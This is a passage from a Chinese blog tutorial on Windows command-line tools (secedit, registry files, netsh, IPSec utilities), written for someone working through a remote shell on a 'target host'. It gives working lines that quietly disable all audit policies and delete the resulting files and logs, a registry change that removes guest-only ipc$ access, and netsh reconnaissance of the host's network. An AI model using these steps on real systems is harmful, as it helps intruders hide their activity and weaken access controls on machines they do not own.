r/>secedit /configure<br/>secedit /export <br/>secedit /validate<br/>secedit /refreshpolicy <br/>5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。<br/><br/>与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：<br/><br/>假设我要将密码长度最小值设置为6，并启用"密码必须符合复杂性要求"，那么先写这么一个模板：<br/><br/>[version]<br/>signature="$CHICAGO$"<br/>[System Access]<br/>MinimumPasswordLength = 6<br/>PasswordComplexity = 1<br/><br/>保存为gp.inf，然后导入：<br/><br/>secedit /configure /db gp.sdb /cfg gp.inf /quiet<br/><br/>这个命令执行完成后，将在当前目录产生一个gp.sdb，它是"中间产品"，你可以删除它。<br/>/quiet参数表示"安静模式"，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：<br/><br/>secedit /configure /db gp.sdb /cfg gp.inf /log gp.log<br/>del gp.*<br/><br/>另外，在导入模板前，还可以先分析语法是否正确：<br/><br/>secedit /validate gp.inf<br/><br/>那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。<br/><br/>再举个例子——关闭所有的"审核策略"。（它所审核的事件将记录在事件查看器的"安全性"里）。<br/>echo版：<br/><br/>echo [version] >1.inf<br/>echo signature="$CHICAGO$" >>1.inf<br/>echo [Event Audit] >>1.inf<br/>echo AuditSystemEvents=0 >>1.inf<br/>echo AuditObjectAccess=0 >>1.inf<br/>echo AuditPrivilegeUse=0 >>1.inf<br/>echo AuditPolicyChange=0 >>1.inf<br/>echo AuditAccountManage=0 >>1.inf<br/>echo AuditProcessTracking=0 >>1.inf<br/>echo AuditDSAccess=0 >>1.inf<br/>echo AuditAccountLogon=0 >>1.inf<br/>echo AuditLogonEvents=0 >>1.inf<br/>secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet<br/>del 1.*<br/><br/>也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。<br/><br/>比如，XP和2003的"本地策略"－》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典"：<br/><br/>echo Windows Registry Editor Version 5.00 >1.reg<br/>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg<br/>echo "forceguest"=dword:00000000 >>1.reg<br/>regedit /s 1.reg<br/>del 1.reg<br/><br/>而相应的用inf，应该是：<br/><br/>echo [version] >1.inf<br/>echo signature="$CHICAGO$" >>1.inf<br/>echo [Registry Values] >>1.inf<br/>echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf<br/>secedit /configure /db 1.sdb /cfg 1.inf /log 1.log<br/>del 1.*<br/><br/>关于命令行下读取组策略的问题。<br/>系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：<br/><br/>secedit /export /cfg gp.inf /log 1.log<br/><br/>没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。<br/><br/>不过，这样得到的只是组策略的一部分（即"Windows设置"）。而且，某个策略如果未配置，是不会被导出的。比如"重命名系统管理员帐户"，只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。<br/><br/>此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是"空"。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit /analyze，然后查看日志了。<br/><br/><br/>网络配置<br/>Windows自带的关于网络的命令行工具很多，比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat，还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……<br/>这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。<br/><br/>netsh<br/>在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。<br/><br/>netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。<br/><br/>1，TCP/IP配置<br/><br/>echo interface ip >s<br/>echo show config >>s<br/>netsh -f s<br/>del s<br/><br/>由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。<br/>这个命令和ipconfig /all差不多。<br/><br/>注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后<br/>net start remoteaccess<br/><br/>2，ARP<br/><br/>echo interface ip >s<br/>echo show ipnet >>s<br/>netsh -f s<br/>del s<br/><br/>这个比arp -a命令多一点信息。<br/><br/>3，TCP/UDP连接<br/><br/>echo interface ip >s<br/>echo show tcpconn >>s<br/>echo show udpconn >>s<br/>netsh -f s<br/>del s<br/><br/>这组命令和netstat -an一样。<br/><br/>4，网卡信息<br/>如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。<br/><br/>echo interface ip >s<br/>echo show interface >>s<br/>netsh -f s<br/>del s<br/><br/>netsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就"叫天不应叫地不灵"了），所以全部略过。<br/><br/>IPSec<br/>首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。<br/><br/>XP系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。<br/><br/>IPSec可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放，读取和修改都很困难。相比之下，上传命令行工具更方便。<br/><br/>关于ipsecpol和ipseccmd的资料，网上可以<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li>
<li><a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li>
<li><a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/17.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
